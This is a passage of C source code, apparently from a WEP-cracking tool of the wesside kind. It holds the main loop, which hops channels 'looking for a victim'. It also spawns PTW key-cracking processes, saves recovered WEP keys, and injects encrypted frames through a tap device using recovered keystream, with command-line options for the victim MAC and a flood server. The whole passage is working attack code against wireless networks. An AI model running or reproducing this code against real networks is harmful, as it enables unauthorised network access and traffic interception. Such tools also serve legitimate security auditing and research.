2077 
2078 void save_key(unsigned char *key, int len)
2079 {
2080 	char tmp[16];
2081 	char k[64];
2082 	int fd;
2083 	int rd;
2084 
2085 	assert(len*3 < sizeof(k));
2086 
2087 	k[0] = 0;
2088 	while (len--) {
2089 		sprintf(tmp, "%.2X", *key++);
2090 		strcat(k, tmp);
2091 		if (len)
2092 			strcat(k, ":");
2093 	}
2094 
2095 	fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
2096 	if (fd == -1)
2097 		err(1, "open()");
2098 
2099 	printf("\nKey: %s\n", k);
2100 	rd = write(fd, k, strlen(k));
2101 	if (rd == -1)
2102 		err(1, "write()");
2103 	if (rd != strlen(k))
2104 		errx(1, "write %d/%d\n", rd, strlen(k));
2105 	close(fd);
2106 }
2107 
2108 #define KEYLIMIT (1000000)
2109 int do_crack(void)
2110 {
2111 	unsigned char key[PTW_KEYHSBYTES];
2112 
2113 	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2114 		save_key(key, 13);
2115 		return 1;
2116 	}
2117 	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2118 		save_key(key, 5);
2119 		return 1;
2120 	}
2121 
2122 	return 0;
2123 }
2124 
2125 void try_crack() {
2126 	if (crack_pid) {
2127 		printf("\n");
2128 		time_print("Warning... previous crack still running!\n");
2129 		kill_crack();
2130 	}
2131 
2132 	if (weplog.fd) {
2133 		if (fsync(weplog.fd) == -1)
2134 			err(1, "fsync");
2135 	}
2136 
2137 	crack_pid = fork();
2138 
2139 	if (crack_pid == -1)
2140 		err(1, "fork");
2141 
2142 	// child
2143 	if (crack_pid == 0) {
2144 		if (!do_crack())
2145 			printf("\nCrack unsuccessful\n");
2146 		exit(1);
2147 	}
2148 
2149 	// parent
2150 	printf("\n");
2151 	time_print("Starting crack PID=%d\n", crack_pid);
2152 	if (gettimeofday(&crack_start, NULL) == -1)
2153 		err(1, "gettimeofday");
2154 
2155 
2156 	wep_thresh += thresh_incr;
2157 }
2158 
2159 void open_tap() {
2160 	struct stat st;
2161 	int s;
2162 	struct ifreq ifr;
2163 	unsigned int flags;
2164 
2165 	tapfd = open(TAP_DEV, O_RDWR);
2166 	if (tapfd == -1) {
2167 		printf("Can't open tap: %s\n", strerror(errno));
2168 		exit(1);
2169 	}
2170 	if(fstat(tapfd, &st) == -1) {
2171 		perror("fstat()");
2172 		exit(1);
2173 	}
2174 
2175 	// feer
2176 	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2177 
2178 	s = socket(PF_INET, SOCK_DGRAM, 0);
2179 	if (s == -1) {
2180 		perror("socket()");
2181 		exit(1);
2182 	}
2183 
2184 	// MTU
2185 	memset(&ifr, 0, sizeof(ifr));
2186 	strcpy(ifr.ifr_name, tapdev);
2187 	ifr.ifr_mtu = 1500;
2188 	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2189 		perror("ioctl(SIOCSIFMTU)");
2190 		exit(1);
2191 	}
2192 
2193 	// set iface up
2194 	memset(&ifr, 0, sizeof(ifr));
2195 	strcpy(ifr.ifr_name, tapdev);
2196 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2197 		perror("ioctl(SIOCGIFFLAGS)");
2198 		exit(1);
2199 	}
2200 
2201 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2202 	flags |= IFF_UP;
2203 
2204 	memset(&ifr, 0, sizeof(ifr));
2205 	strcpy(ifr.ifr_name, tapdev);
2206 	ifr.ifr_flags = flags & 0xffff;
2207 	ifr.ifr_flagshigh = flags >> 16;
2208 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2209 		perror("ioctl(SIOCSIFFLAGS)");
2210 		exit(1);
2211 	}
2212 
2213 	close(s);
2214 	time_print("Opened tap device: %s\n", tapdev);
2215 }
2216 
2217 void read_tap() {
2218 	unsigned char buf[4096];
2219 	struct ether_header* eh;
2220 	struct ieee80211_frame* wh;
2221 	int rd;
2222 	unsigned char* ptr, *body;
2223 	int dlen;
2224 
2225 	rd = read(tapfd, buf, sizeof(buf));
2226 	if (rd == -1) {
2227 		perror("read()");
2228 		exit(1);
2229 	}
2230 	dlen = rd - sizeof(*eh);
2231 
2232 	assert(dlen > 0);
2233 
2234 	if (dlen+8 > prgainfo.len) {
2235 		printf("\n");
2236 		// XXX lame message...
2237 		time_print("Sorry... want to send %d but only got %d prga\n",
2238 			   dlen, prgainfo.len);
2239 		return;
2240 
2241 	}
2242 
2243 	if (taptx_len) {
2244 		printf("\n");
2245 		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2246 		// XXX could not read instead and get rid of it in select...
2247 	}
2248 
2249 	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2250 
2251 	eh = (struct ether_header*) buf;
2252 
2253 	wh = (struct ieee80211_frame*) taptx;
2254 	memset(wh, 0, sizeof(*wh));
2255 	fill_basic(wh);
2256 
2257         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2258         wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
2259 
2260 	memcpy(wh->i_addr2, eh->ether_shost, 6);
2261 	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2262 
2263         body = (unsigned char*) wh + sizeof(*wh);
2264         ptr = body;
2265         ptr += 4; // iv
2266 
2267 	do_llc(ptr, ntohs(eh->ether_type));
2268 	ptr += 8;
2269 
2270 	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2271 
2272 	wepify(body, 8+dlen);
2273 	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2274 
2275 	assert (taptx_len < sizeof(taptx));
2276 }
2277 
2278 int elapsedd(struct timeval *past, struct timeval *now)
2279 {
2280         int el;
2281 
2282         el = now->tv_sec - past->tv_sec;
2283         assert(el >= 0);
2284         if (el == 0) {
2285                 el = now->tv_usec - past->tv_usec;
2286         } else {
2287                 el = (el - 1)*1000*1000;
2288                 el += 1000*1000-past->tv_usec;
2289                 el += now->tv_usec;
2290         }
2291 
2292         return el;
2293 }
2294 
2295 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2296 {
2297 #define BIT(n)  (1<<(n))
2298         struct bpf_hdr *bpfh;
2299         struct ieee80211_radiotap_header *rth;
2300         uint32_t present;
2301         uint8_t rflags;
2302         void *ptr;
2303 	static int nocrc = 0;
2304 
2305 	assert(*totlen);
2306 
2307         /* bpf hdr */
2308         bpfh = (struct bpf_hdr*) (*data);
2309         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2310         *totlen -= bpfh->bh_hdrlen;
2311 
2312         /* check if more packets */
2313         if ((int)bpfh->bh_caplen < *totlen) {
2314                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2315                 int offset = BPF_WORDALIGN(tot);
2316 
2317                 *data = (char*)bpfh + offset;
2318                 *totlen -= offset - tot; /* take into account align bytes */
2319         } else if ((int)bpfh->bh_caplen > *totlen)
2320                 abort();
2321 
2322         *plen = bpfh->bh_caplen;
2323         *totlen -= bpfh->bh_caplen;
2324         assert(*totlen >= 0);
2325 
2326         /* radiotap */
2327         rth = (struct ieee80211_radiotap_header*)
2328               ((char*)bpfh + bpfh->bh_hdrlen);
2329         /* XXX cache; drivers won't change this per-packet */
2330         /* check if FCS/CRC is included in packet */
2331         present = le32toh(rth->it_present);
2332         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2333                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2334                         rflags = ((const uint8_t *)rth)[8];
2335                 else
2336                         rflags = ((const uint8_t *)rth)[0];
2337         } else
2338                 rflags = 0;
2339         *plen -= rth->it_len;
2340         assert(*plen > 0);
2341 
2342         /* 802.11 CRC */
2343         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2344                 *plen -= IEEE80211_CRC_LEN;
2345                 nocrc = 1;
2346         }
2347 
2348         ptr = (char*)rth + rth->it_len;
2349 
2350         return ptr;
2351 #undef BIT
2352 }
2353 
2354 static int read_packet(int fd, unsigned char *dst, int len)
2355 {
2356 	static unsigned char buf[4096];
2357 	static int totlen = 0;
2358 	static unsigned char *next = buf;
2359         unsigned char *pkt;
2360         int plen;
2361 
2362         assert(len > 0);
2363 
2364         /* need to read more */
2365         if (totlen == 0) {
2366                 totlen = read(fd, buf, sizeof(buf));
2367                 if (totlen == -1) {
2368                         totlen = 0;
2369                         return -1;
2370                 }
2371                 next = buf;
2372         }
2373 
2374         /* read 802.11 packet */
2375         pkt = get_80211(&next, &totlen, &plen);
2376         if (plen > len)
2377                 plen = len;
2378         assert(plen > 0);
2379         memcpy(dst, pkt, plen);
2380 
2381         return plen;
2382 }
2383 
2384 void own(int wifd) {
2385 	unsigned char buf[4096];
2386 	int rd;
2387 	fd_set rfd;
2388 	struct timeval tv;
2389 	char *pbar = "/-\\|";
2390 	char *pbarp = &pbar[0];
2391 	struct timeval lasthop;
2392 	struct timeval now;
2393 	unsigned int last_wep_count = 0;
2394 	struct timeval last_wcount;
2395 	struct timeval last_status;
2396 	int fd;
2397 	int largest;
2398 
2399 	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2400 	if (weplog.fd == -1) {
2401 		struct pcap_file_header pfh;
2402 
2403 		memset(&pfh, 0, sizeof(pfh));
2404 		pfh.magic           = TCPDUMP_MAGIC;
2405 		pfh.version_major   = PCAP_VERSION_MAJOR;
2406 		pfh.version_minor   = PCAP_VERSION_MINOR;
2407 		pfh.thiszone        = 0;
2408 		pfh.sigfigs         = 0;
2409 		pfh.snaplen         = 65535;
2410 		pfh.linktype        = LINKTYPE_IEEE802_11;
2411 
2412 		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2413 				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2414 		if (weplog.fd != -1) {
2415 			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2416 				err(1, "write()");
2417 		}
2418 	}
2419 	else {
2420 		time_print("WARNING: Appending in %s\n", WEP_FILE);
2421 	}
2422 
2423 	if (weplog.fd == -1) {
2424 		perror("open()");
2425 		exit(1);
2426 	}
2427 
2428 	fd = open(PRGA_FILE, O_RDONLY);
2429 	if (fd != -1) {
2430 		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2431 		rd = read(fd, buf, sizeof(buf));
2432 		if (rd == -1) {
2433 			perror("read()");
2434 			exit(1);
2435 		}
2436 		if (rd >= 8) {
2437 			set_prga(buf, NULL, &buf[3], rd - 3);
2438 		}
2439 
2440 		close(fd);
2441 	}
2442 
2443 	fd = open(DICT_PATH, O_RDONLY);
2444 	if (fd == -1) {
2445 		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2446 		if (mkdir (DICT_PATH, 0755) == -1) {
2447 			perror("mkdir()");
2448 			exit(1);
2449 		}
2450 	}
2451 	else
2452 		close(fd);
2453 
2454 	open_tap();
2455 	set_if_mac(mymac, tapdev);
2456 	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2457 
2458 	if (tapfd > wifd)
2459 		largest = tapfd;
2460 	else
2461 		largest = wifd;
2462 
2463 	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2464 		perror("signal()");
2465 		exit(1);
2466 	}
2467 	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2468 		perror("signal()");
2469 		exit(1);
2470 	}
2471 
2472 	time_print("Looking for a victim...\n");
2473 	if (gettimeofday(&lasthop, NULL) == -1) {
2474 		perror("gettimeofday()");
2475 		exit(1);
2476 	}
2477 
2478 	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2479 	memcpy(&last_status, &lasthop, sizeof(last_status));
2480 
2481 	while (1) {
2482 		if (gettimeofday(&now, NULL) == -1) {
2483 			perror("gettimeofday()");
2484 			exit(1);
2485 		}
2486 
2487 		/* check for relay timeout */
2488 		if (fragstate.waiting_relay) {
2489 			int el;
2490 
2491 			el = now.tv_sec - fragstate.last.tv_sec;
2492 			assert (el >= 0);
2493 			if (el == 0) {
2494 				el = now.tv_usec - fragstate.last.tv_usec;
2495 			} else {
2496 				el--;
2497 
2498 				el *= 1000*1000;
2499 				el += 1000*1000 - fragstate.last.tv_usec;
2500 				el += now.tv_usec;
2501 
2502 				if (el > (1500*1000)) {
2503 //					printf("\nLAMER timeout\n\n");
2504 					free(fragstate.data);
2505 					fragstate.data = 0;
2506 				}
2507 			}
2508 		}
2509 
2510 		/* check for arp timeout */
2511 		if (rtrmac == (unsigned char*) 1) {
2512 			int el;
2513 
2514 			el = elapsedd(&arpsend, &now);
2515 			if (el >= (1500*1000)) {
2516 				rtrmac = 0;
2517 			}
2518 		}
2519 
2520 		// status bar
2521 		if ( (now.tv_sec > last_status.tv_sec ) ||
2522 		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2523 		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2524 				check_key();
2525 			}
2526 			if (netip && prgainfo.len >= min_prga &&
2527 			    rtrmac > (unsigned char*) 1) {
2528 				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2529 				       weplog.packets, wep_thresh,
2530 				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2531 				       weplog.rate);
2532 				fflush(stdout);
2533 			}
2534 			else {
2535 				if (state == FIND_VICTIM)
2536 					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2537 				else if (decryptstate.cipher) {
2538 					int pos = decryptstate.prgainfo.len - 1;
2539 					unsigned char prga = decryptstate.prgainfo.prga[pos];
2540 					assert(pos);
2541 
2542 					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2543 						   prga, decryptstate.cipher[pos] ^ prga);
2544 				}
2545 				else
2546 					time_print("%c\r", *pbarp);
2547 				fflush(stdout);
2548 			}
2549 			memcpy(&last_status, &now,sizeof(last_status));
2550 		}
2551 
2552 		// check if we are cracking
2553 		if (crack_pid) {
2554 			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2555 				kill_crack();
2556 		}
2557 
2558 		// check TX  / retransmit
2559 		if (txstate.waiting_ack) {
2560 			unsigned int elapsed = now.tv_sec -
2561 					       txstate.tsent.tv_sec;
2562 			elapsed *= 1000*1000;
2563 			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2564 
2565 			if (elapsed >= ack_timeout)
2566 				send_frame(wifd, NULL, -1);
2567 		}
2568 
2569 		// INPUT
2570 		// select
2571 		FD_ZERO(&rfd);
2572 		FD_SET(wifd, &rfd);
2573 		FD_SET(tapfd, &rfd);
2574 		tv.tv_sec = 0;
2575 		tv.tv_usec = 1000*10;
2576 		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2577 		if (rd == -1) {
2578 			perror("select()");
2579 			exit(1);
2580 		}
2581 
2582 		// read
2583 		if (rd != 0) {
2584 			// wifi
2585 			if (FD_ISSET(wifd, &rfd)) {
2586 				rd = read_packet(wifd, buf, sizeof(buf));
2587 				if (rd == 0)
2588 					return;
2589 				if (rd == -1) {
2590 					perror("read()");
2591 					exit(1);
2592 				}
2593 
2594 				pbarp++;
2595 				if(!(*pbarp))
2596 					pbarp = &pbar[0];
2597 				// input
2598 				anal(buf, rd, wifd);
2599 			}
2600 
2601 			// tap
2602 			if (FD_ISSET(tapfd, &rfd)) {
2603 				read_tap();
2604 			}
2605 		}
2606 
2607 		// check state and what we do next.
2608 		if (state == FIND_VICTIM) {
2609 			if (now.tv_sec > lasthop.tv_sec ||
2610 			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2611 				int chan = chaninfo.chan;
2612 				chan++;
2613 
2614 				if(chan > max_chan)
2615 					chan = 1;
2616 
2617 				set_chan(chan);
2618 				memcpy(&lasthop, &now, sizeof(lasthop));
2619 			}
2620 		} else {
2621 		// check if we need to write something...
2622 			if (!txstate.waiting_ack)
2623 				can_write(wifd);
2624 
2625 			// roughly!
2626 
2627 #ifdef MORE_ACCURATE
2628 			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2629 				unsigned int elapsed;
2630 				int secs;
2631 				int packetz = weplog.packets - last_wep_count;
2632 				elapsed = 1000*1000;
2633 
2634 				elapsed -= last_wcount.tv_usec;
2635 
2636 				assert(elapsed >= 0);
2637 				elapsed += now.tv_usec;
2638 
2639 				secs = now.tv_sec - last_wcount.tv_sec;
2640 				secs--;
2641 				if (secs > 0)
2642 					elapsed += (secs*1000*1000);
2643 
2644 				weplog.rate = (int)
2645 				((double)packetz/(elapsed/1000.0/1000.0));
2646 #else
2647 			if ( now.tv_sec > last_wcount.tv_sec) {
2648 				weplog.rate = weplog.packets - last_wep_count;
2649 #endif
2650 				last_wep_count = weplog.packets;
2651 				memcpy(&last_wcount, &now, sizeof(now));
2652 
2653 				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2654 					try_crack();
2655 			}
2656 		}
2657 	}
2658 }
2659 
2660 void start(char *dev) {
2661 	int fd;
2662 
2663 	setup_if(dev);
2664 
2665 	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2666 
2667 	ptw = PTW_newattackstate();
2668 	if (!ptw)
2669 		err(1, "PTW_newattackstate()");
2670 
2671 	own(fd);
2672 
2673 #if 0
2674 	{
2675 		int i;
2676 		struct timeval tv;
2677 		set_chan(11);
2678 		for (i = 0; i < 10; i++) {
2679 			gettimeofday(&tv, NULL);
2680 
2681 			send_ack(tx);
2682 //			usleep(500);
2683 			printf("%lu\n", tv.tv_usec);
2684 		}
2685 	}
2686 #endif
2687 
2688 	close(fd);
2689 }
2690 
2691 void usage(char* pname) {
2692 	printf("Usage: %s <opts>\n", pname);
2693 	printf("-h\t\tthis lame message\n");
2694 	printf("-i\t\t<iface>\n");
2695 	printf("-s\t\t<flood server ip>\n");
2696 	printf("-m\t\t<my ip>\n");
2697 	printf("-n\t\t<net ip>\n");
2698 	printf("-r\t\t<rtr mac>\n");
2699 	printf("-a\t\t<mymac>\n");
2700 	printf("-c\t\tdo not crack\n");
2701 	printf("-p\t\t<min prga>\n");
2702 	printf("-4\t\t64 bit key\n");
2703 	printf("-v\t\tvictim mac\n");
2704 	printf("-t\t\t<crack thresh>\n");
2705 	printf("-f\t\t<max chan>\n");
2706 	exit(0);
2707 }
2708 
2709 void str2mac(unsigned char* dst, unsigned char* mac) {
2710 	unsigned int macf[6];
2711 	int i;
2712 
2713 	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2714                    &macf[0], &macf[1], &macf[2],
2715                    &macf[3], &macf[4], &macf[5]) != 6) {
2716 
2717 		   printf("can't parse mac %s\n", mac);
2718 		   exit(1);
2719 	}
2720 
2721 	for (i = 0; i < 6; i++)
2722 		*dst++ = (unsigned char) macf[i];
2723 }
2724 
2725 int main(int argc, char *argv[]) {
2726 	unsigned char* dev = "ath0";
2727 	unsigned char rtr[6];
2728 	unsigned char vic[6];
2729 
2730 	int ch;
2731 
2732 	if (gettimeofday(&real_start, NULL) == -1) {
2733 		perror("gettimeofday()");
2734 		exit(1);
2735 	}
2736 
2737 	chaninfo.s = -1;
2738 	victim.ssid = 0;
2739 	prgainfo.len = 0;
2740 
2741 	memset(&txstate, 0, sizeof(txstate));
2742 	memset(&fragstate, 0, sizeof(fragstate));
2743 	memset(&decryptstate, 0, sizeof(decryptstate));
2744 	memset(&weplog, 0, sizeof(weplog));
2745 
2746 	state = FIND_VICTIM;
2747 
2748 	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2749 		switch (ch) {
2750 			case 'a':
2751 				str2mac(mymac, optarg);
2752 				break;
2753 
2754 			case 's':
2755 				floodip = optarg;
2756 				break;
2757 
2758 			case 'i':
2759 				dev = optarg;
2760 				break;
2761 
2762 			case 'm':
2763 				strncpy(myip, optarg, sizeof(myip)-1);
2764 				myip[sizeof(myip)-1] = 0;
2765 				break;
2766 
2767 			case 'n':
2768 				netip = optarg;
2769 				netip_arg = 1;
2770 				break;
2771 
2772 			case 'r':
2773 				str2mac(rtr, optarg);
2774 				rtrmac = rtr;
2775 				break;
2776 
2777 			case 'v':
2778 				str2mac(vic, optarg);
2779 				victim_mac = vic;
2780 				break;
2781 
2782 			case 'c':
2783 				wep_thresh = -1;
2784 				break;
2785 
2786 			case 'p':
2787 				min_prga = atoi(optarg);
2788 				break;
2789 
2790 			case 't':
2791 				thresh_incr = wep_thresh = atoi(optarg);
2792 				break;
2793 
2794 			case 'f':
2795 				max_chan = atoi(optarg);
2796 				break;
2797 
2798 			case '4':
2799 				bits = 64;
2800 				break;
2801 
2802 			default:
2803 				usage(argv[0]);
2804 				break;
2805 		}
2806 	}
2807 
2808 	start(dev);
2809 
2810 	if(chaninfo.s != -1)
2811 		close(chaninfo.s);
2812 	if(victim.ssid)
2813 		free(victim.ssid);
2814 	exit(0);
2815 }
2816